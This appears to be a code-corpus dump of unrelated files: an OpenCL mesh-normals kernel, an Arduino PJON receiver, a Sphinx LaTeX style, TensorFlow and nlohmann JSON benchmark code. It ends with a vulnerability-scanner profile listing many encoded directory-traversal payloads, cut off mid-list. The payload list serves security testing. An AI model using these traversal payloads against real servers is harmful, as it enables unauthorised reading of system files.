nodeNormal0 = nodeNormal0 + faceNormal;
nodeNormal1 = nodeNormal1 + faceNormal;
nodeNormal2 = nodeNormal2 + faceNormal;
vertexArea0 = vertexArea0 + triangleArea;
vertexArea1 = vertexArea1 + triangleArea;
vertexArea2 = vertexArea2 + triangleArea;
g_triangleNormals[faceID] = (float4)(normalize(faceNormal), 0.f);
g_vertexNormals[nodeIndex0] = (float4)(nodeNormal0, 0.f);
g_vertexNormals[nodeIndex1] = (float4)(nodeNormal1, 0.f);
g_vertexNormals[nodeIndex2] = (float4)(nodeNormal2, 0.f);
g_triangleArea[faceID] = triangleArea;
g_vertexArea[nodeIndex0] = vertexArea0;
g_vertexArea[nodeIndex1] = vertexArea1;
g_vertexArea[nodeIndex2] = vertexArea2;
}
}
__kernel void
NormalizeNormalsAndAreasKernel(
const unsigned int numNodes,
__global int * g_vertexTriangleCount,
__global float4 * g_vertexNormals,
__global float * g_vertexArea)
{
if( get_global_id(0) < numNodes )
{
float4 normal = g_vertexNormals[get_global_id(0)];
float area = g_vertexArea[get_global_id(0)];
int numTriangles = g_vertexTriangleCount[get_global_id(0)];
float vectorLength = length(normal);
g_vertexNormals[get_global_id(0)] = normalize(normal);
g_vertexArea[get_global_id(0)] = area/(float)(numTriangles);
}
}
); | OpenCL | 3 | albertobarri/idk | tests/third_party/bullet/src/BulletMultiThreaded/GpuSoftBodySolvers/OpenCL/OpenCLC/UpdateNormals.cl | [
"MIT"
] |
#define PJON_INCLUDE_MAC
#include <PJONSoftwareBitBang.h>
// <Strategy name> bus(mac address of the network interface)
const uint8_t mac[6] = {1, 2, 3, 4, 5, 6};
PJONSoftwareBitBang bus(mac);
void receiver_function(uint8_t *payload, uint16_t length, const PJON_Packet_Info &packet_info) {
/* Make use of the payload before sending something, the buffer where payload points to is
overwritten when a new message is dispatched */
if(payload[0] == 'B') {
Serial.print("BLINK sent by MAC ");
for(uint8_t i = 0; i < 6; i++)
Serial.print(packet_info.tx.mac[i], DEC);
Serial.println();
digitalWrite(LED_BUILTIN, HIGH);
delay(30);
digitalWrite(LED_BUILTIN, LOW);
}
};
void setup() {
pinMode(LED_BUILTIN, OUTPUT);
digitalWrite(LED_BUILTIN, LOW); // Initialize LED 13 to be off
bus.strategy.set_pin(12);
bus.begin();
bus.set_receiver(receiver_function);
Serial.begin(115200);
};
void loop() {
bus.receive(1000);
};
| Arduino | 5 | jcallano/PJON | examples/ARDUINO/Local/SoftwareBitBang/BlinkTestMAC/Receiver/Receiver.ino | [
"Apache-2.0"
] |
%% INDEX, BIBLIOGRAPHY, APPENDIX, TABLE OF CONTENTS
%
% change this info string if making any custom modification
\ProvidesFile{sphinxlatexindbibtoc.sty}[2021/01/27 index, bib., toc]
% Provides support for this output mark-up from Sphinx latex writer:
%
% - environments: (backup defaults or get redefined)
%
% - sphinxtheindex (direct mark-up or via python.ist or sphinx.xdy)
% - sphinxthebibliography
%
% - macros: (defines defaults)
%
% - \sphinxmaketitle
% - \sphinxtableofcontents
% - \sphinxnonalphabeticalgroupname
% - \sphinxsymbolsname
% - \sphinxnumbersname
% - \sphinxcite
%
% Requires:
\RequirePackage{makeidx}
% fix the double index and bibliography on the table of contents
% in jsclasses (Japanese standard document classes)
\ifx\@jsc@uplatextrue\@undefined\else
\renewenvironment{sphinxtheindex}
{\cleardoublepage\phantomsection
\begin{theindex}}
{\end{theindex}}
\renewenvironment{sphinxthebibliography}[1]
{\cleardoublepage% \phantomsection % not needed here since TeXLive 2010's hyperref
\begin{thebibliography}{#1}}
{\end{thebibliography}}
\fi
% disable \@chappos in Appendix in pTeX
\ifx\kanjiskip\@undefined\else
\let\py@OldAppendix=\appendix
\renewcommand{\appendix}{
\py@OldAppendix
\gdef\@chappos{}
}
\fi
% make commands known to non-Sphinx document classes
\providecommand*{\sphinxmaketitle}{\maketitle}
\providecommand*{\sphinxtableofcontents}{\tableofcontents}
\ltx@ifundefined{sphinxthebibliography}
{\newenvironment
{sphinxthebibliography}{\begin{thebibliography}}{\end{thebibliography}}%
}
{}% else clause of \ltx@ifundefined
\ltx@ifundefined{sphinxtheindex}
{\newenvironment{sphinxtheindex}{\begin{theindex}}{\end{theindex}}}%
{}% else clause of \ltx@ifundefined
% for usage with xindy: this string gets internationalized in preamble
\newcommand*{\sphinxnonalphabeticalgroupname}{}
% redefined in preamble, headings for makeindex produced index
\newcommand*{\sphinxsymbolsname}{}
\newcommand*{\sphinxnumbersname}{}
\protected\def\sphinxcite{\cite}
\endinput
| TeX | 4 | samdoran/sphinx | sphinx/texinputs/sphinxlatexindbibtoc.sty | [
"BSD-2-Clause"
] |
/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include "tensorflow/core/common_runtime/request_cost_accessor_registry.h"
#include <string>
#include "absl/container/flat_hash_map.h"
#include "absl/strings/string_view.h"
#include "tensorflow/core/platform/logging.h"
namespace tensorflow {
namespace {
using RegistrationMap =
absl::flat_hash_map<std::string, RequestCostAccessorRegistry::Creator>;
RegistrationMap* GetRegistrationMap() {
static RegistrationMap* registered_request_cost_accessors =
new RegistrationMap;
return registered_request_cost_accessors;
}
} // namespace
std::unique_ptr<RequestCostAccessor>
RequestCostAccessorRegistry::CreateByNameOrNull(absl::string_view name) {
const auto it = GetRegistrationMap()->find(name);
if (it == GetRegistrationMap()->end()) return nullptr;
return std::unique_ptr<RequestCostAccessor>(it->second());
}
void RequestCostAccessorRegistry::RegisterRequestCostAccessor(
absl::string_view name, Creator creator) {
const auto it = GetRegistrationMap()->find(name);
CHECK(it == GetRegistrationMap()->end()) // Crash OK
<< "RequestCostAccessor " << name << " is registered twice.";
GetRegistrationMap()->emplace(name, std::move(creator));
}
} // namespace tensorflow
| C++ | 4 | EricRemmerswaal/tensorflow | tensorflow/core/common_runtime/request_cost_accessor_registry.cc | [
"Apache-2.0"
] |
#include "benchmark/benchmark.h"
#include <nlohmann/json.hpp>
#include <fstream>
#include <test_data.hpp>
using json = nlohmann::json;
//////////////////////////////////////////////////////////////////////////////
// parse JSON from file
//////////////////////////////////////////////////////////////////////////////
static void ParseFile(benchmark::State& state, const char* filename)
{
while (state.KeepRunning())
{
state.PauseTiming();
auto* f = new std::ifstream(filename);
auto* j = new json();
state.ResumeTiming();
*j = json::parse(*f);
state.PauseTiming();
delete f;
delete j;
state.ResumeTiming();
}
std::ifstream file(filename, std::ios::binary | std::ios::ate);
state.SetBytesProcessed(state.iterations() * file.tellg());
}
BENCHMARK_CAPTURE(ParseFile, jeopardy, TEST_DATA_DIRECTORY "/jeopardy/jeopardy.json");
BENCHMARK_CAPTURE(ParseFile, canada, TEST_DATA_DIRECTORY "/nativejson-benchmark/canada.json");
BENCHMARK_CAPTURE(ParseFile, citm_catalog, TEST_DATA_DIRECTORY "/nativejson-benchmark/citm_catalog.json");
BENCHMARK_CAPTURE(ParseFile, twitter, TEST_DATA_DIRECTORY "/nativejson-benchmark/twitter.json");
BENCHMARK_CAPTURE(ParseFile, floats, TEST_DATA_DIRECTORY "/regression/floats.json");
BENCHMARK_CAPTURE(ParseFile, signed_ints, TEST_DATA_DIRECTORY "/regression/signed_ints.json");
BENCHMARK_CAPTURE(ParseFile, unsigned_ints, TEST_DATA_DIRECTORY "/regression/unsigned_ints.json");
BENCHMARK_CAPTURE(ParseFile, small_signed_ints, TEST_DATA_DIRECTORY "/regression/small_signed_ints.json");
//////////////////////////////////////////////////////////////////////////////
// parse JSON from string
//////////////////////////////////////////////////////////////////////////////
static void ParseString(benchmark::State& state, const char* filename)
{
std::ifstream f(filename);
std::string str((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
while (state.KeepRunning())
{
state.PauseTiming();
auto* j = new json();
state.ResumeTiming();
*j = json::parse(str);
state.PauseTiming();
delete j;
state.ResumeTiming();
}
state.SetBytesProcessed(state.iterations() * str.size());
}
BENCHMARK_CAPTURE(ParseString, jeopardy, TEST_DATA_DIRECTORY "/jeopardy/jeopardy.json");
BENCHMARK_CAPTURE(ParseString, canada, TEST_DATA_DIRECTORY "/nativejson-benchmark/canada.json");
BENCHMARK_CAPTURE(ParseString, citm_catalog, TEST_DATA_DIRECTORY "/nativejson-benchmark/citm_catalog.json");
BENCHMARK_CAPTURE(ParseString, twitter, TEST_DATA_DIRECTORY "/nativejson-benchmark/twitter.json");
BENCHMARK_CAPTURE(ParseString, floats, TEST_DATA_DIRECTORY "/regression/floats.json");
BENCHMARK_CAPTURE(ParseString, signed_ints, TEST_DATA_DIRECTORY "/regression/signed_ints.json");
BENCHMARK_CAPTURE(ParseString, unsigned_ints, TEST_DATA_DIRECTORY "/regression/unsigned_ints.json");
BENCHMARK_CAPTURE(ParseString, small_signed_ints, TEST_DATA_DIRECTORY "/regression/small_signed_ints.json");
//////////////////////////////////////////////////////////////////////////////
// serialize JSON
//////////////////////////////////////////////////////////////////////////////
static void Dump(benchmark::State& state, const char* filename, int indent)
{
std::ifstream f(filename);
std::string str((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
json j = json::parse(str);
while (state.KeepRunning())
{
j.dump(indent);
}
state.SetBytesProcessed(state.iterations() * j.dump(indent).size());
}
BENCHMARK_CAPTURE(Dump, jeopardy / -, TEST_DATA_DIRECTORY "/jeopardy/jeopardy.json", -1);
BENCHMARK_CAPTURE(Dump, jeopardy / 4, TEST_DATA_DIRECTORY "/jeopardy/jeopardy.json", 4);
BENCHMARK_CAPTURE(Dump, canada / -, TEST_DATA_DIRECTORY "/nativejson-benchmark/canada.json", -1);
BENCHMARK_CAPTURE(Dump, canada / 4, TEST_DATA_DIRECTORY "/nativejson-benchmark/canada.json", 4);
BENCHMARK_CAPTURE(Dump, citm_catalog / -, TEST_DATA_DIRECTORY "/nativejson-benchmark/citm_catalog.json", -1);
BENCHMARK_CAPTURE(Dump, citm_catalog / 4, TEST_DATA_DIRECTORY "/nativejson-benchmark/citm_catalog.json", 4);
BENCHMARK_CAPTURE(Dump, twitter / -, TEST_DATA_DIRECTORY "/nativejson-benchmark/twitter.json", -1);
BENCHMARK_CAPTURE(Dump, twitter / 4, TEST_DATA_DIRECTORY "/nativejson-benchmark/twitter.json", 4);
BENCHMARK_CAPTURE(Dump, floats / -, TEST_DATA_DIRECTORY "/regression/floats.json", -1);
BENCHMARK_CAPTURE(Dump, floats / 4, TEST_DATA_DIRECTORY "/regression/floats.json", 4);
BENCHMARK_CAPTURE(Dump, signed_ints / -, TEST_DATA_DIRECTORY "/regression/signed_ints.json", -1);
BENCHMARK_CAPTURE(Dump, signed_ints / 4, TEST_DATA_DIRECTORY "/regression/signed_ints.json", 4);
BENCHMARK_CAPTURE(Dump, unsigned_ints / -, TEST_DATA_DIRECTORY "/regression/unsigned_ints.json", -1);
BENCHMARK_CAPTURE(Dump, unsigned_ints / 4, TEST_DATA_DIRECTORY "/regression/unsigned_ints.json", 4);
BENCHMARK_CAPTURE(Dump, small_signed_ints / -, TEST_DATA_DIRECTORY "/regression/small_signed_ints.json", -1);
BENCHMARK_CAPTURE(Dump, small_signed_ints / 4, TEST_DATA_DIRECTORY "/regression/small_signed_ints.json", 4);
BENCHMARK_MAIN();
| C++ | 4 | theShmoo/json | benchmarks/src/benchmarks.cpp | [
"MIT"
] |
[
{
"ProfileName": "Linux-source-list",
"Name": "",
"Enabled": true,
"Scanner": 1,
"Author": "@Sy3Omda",
"Payloads": [
"true,../{FILE}",
"true,../../{FILE}",
"true,../../../{FILE}",
"true,../../../../{FILE}",
"true,../../../../../{FILE}",
"true,../../../../../../{FILE}",
"true,../../../../../../../{FILE}",
"true,../../../../../../../../{FILE}",
"true,..%2f{FILE}",
"true,..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}",
"true,%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}",
"true,%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}",
"true,..%252f{FILE}",
"true,..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}",
"true,%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}",
"true,%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}",
"true,..\\{FILE}",
"true,..\\..\\{FILE}",
"true,..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..\\..\\..\\..\\..\\..\\..\\..\\{FILE}",
"true,..%255c{FILE}",
"true,..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}",
"true,..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}",
"true,%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\{FILE}",
"true,%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}",
"true,%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\{FILE}",
"true,%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}",
"true,..%c0%af{FILE}",
"true,..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}",
"true,..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af{FILE}",
"true,%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/{FILE}",
"true,%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af{FILE}",
"true,..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af..%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/%25c0%25ae%25c0%25ae/{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af%25c0%25ae%25c0%25ae%25c0%25af{FILE}",
"true,..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c..%c1%9c{FILE}",
"true,%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\%c0%ae%c0%ae\\{FILE}",
"true,%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
"true,%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c%c0%ae%c0%ae%c1%9c{FILE}",
